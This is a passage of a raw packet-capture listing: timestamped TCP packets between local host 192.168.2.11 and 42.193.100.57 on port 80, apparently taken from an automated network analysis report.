        Nov 20, 2024 09:14:54.699589014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699599981 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699611902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699619055 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699645996 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699659109 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699671030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699691057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699702024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699717999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699717999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699736118 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699754953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699765921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699778080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699790001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699796915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699817896 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699845076 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699928045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699948072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699959040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699970007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699971914 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.699980974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699994087 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.699995041 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700006008 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700010061 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700020075 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700032949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700035095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700061083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700063944 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700073957 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700099945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700102091 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700113058 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700133085 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700145006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700154066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700154066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700176001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700182915 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700195074 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700215101 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700215101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700253010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700263977 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700264931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700277090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700288057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700294971 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700304985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700311899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700331926 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700359106 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700465918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700478077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700503111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700509071 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700525999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700536966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700541973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700547934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700551987 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700561047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700573921 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700581074 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700591087 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700594902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700607061 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700618982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700618982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700634003 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700644970 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700653076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700664043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700670004 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700689077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.700699091 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.700726986 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.786494017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.786547899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.786640882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.786653996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.786667109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.786678076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.786684036 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.786696911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.786708117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.786710978 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.786726952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.786756992 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.786766052 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.786834955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.786845922 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.786858082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.786871910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.786884069 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.786905050 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.786992073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787003040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787013054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787024021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787034035 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787034988 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787045956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787060976 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787089109 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787090063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787115097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787123919 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787130117 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787136078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787153959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787157059 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787167072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787185907 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787441015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787452936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787465096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787473917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787480116 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787484884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787497044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787497997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787509918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787519932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787528992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787530899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787549019 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787556887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787569046 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787571907 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787579060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787595034 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787604094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787610054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787617922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787621021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787632942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787636995 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787647009 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787659883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787668943 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787688017 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787709951 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787719011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787729979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787741899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787756920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787769079 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787790060 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787899017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787909985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787920952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.787940979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787965059 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.787965059 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.788089991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788105965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788129091 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.788144112 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788144112 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.788156986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788168907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788178921 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788182020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.788191080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788203001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788204908 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.788219929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788230896 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.788233042 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788239956 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.788263083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788275957 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.788275957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788305044 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.788322926 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.788465977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788477898 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788487911 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788494110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788505077 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.788512945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788523912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788526058 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.788537025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.788552999 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.788573027 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.992754936 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.992780924 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.992799044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.992810965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.992822886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.992834091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.992852926 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.992863894 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.992877007 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.992877960 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.992891073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.992907047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.992932081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.992943048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.992947102 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.992954969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.992960930 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.992970943 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.992985010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.992999077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993010998 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993031979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993041039 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993045092 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993057966 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993089914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993096113 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993103027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993113995 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993124962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993132114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993132114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993140936 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993169069 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993175030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993186951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993207932 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993218899 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993230104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993236065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993247032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993248940 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993263006 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993269920 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993278980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993282080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993294954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993309021 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993338108 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993338108 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993369102 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993385077 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993396044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993417025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993429899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993436098 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993448019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993469000 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993486881 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993561029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993572950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993583918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993601084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993601084 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993617058 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993618965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993642092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993650913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993664026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993665934 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993683100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993686914 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993695974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993706942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993719101 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993721008 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993750095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993766069 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993772984 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993786097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993797064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993808031 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993824959 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993832111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993840933 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993844986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993865013 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993884087 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993889093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993901014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993912935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.993922949 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993937969 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.993952990 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994045973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994066954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994080067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994081974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994092941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994096994 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994106054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994117022 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994127035 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994127989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994141102 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994143963 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994154930 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994155884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994170904 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994174957 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994191885 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994225979 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994309902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994322062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994333029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994343042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994343996 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994355917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994359016 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994369030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994379997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994380951 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994391918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994410038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994410038 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994417906 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994424105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994441032 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994451046 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994452000 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994477034 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994487047 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994524002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994537115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994543076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994553089 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994565964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994580984 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994596004 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994601011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994620085 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994642973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994676113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994688988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994699001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994709969 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994716883 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994724989 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994724989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994749069 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994752884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994766951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994774103 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994781017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994795084 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994800091 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994817019 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994832039 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994874001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994887114 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.994936943 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.994936943 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995017052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995033979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995043993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995057106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995064020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995064020 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995083094 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995096922 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995109081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995119095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995130062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995141029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995141983 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995152950 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995157957 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:54.995167017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:54.995182037 CET804970142.193.100.57192.168.2.11
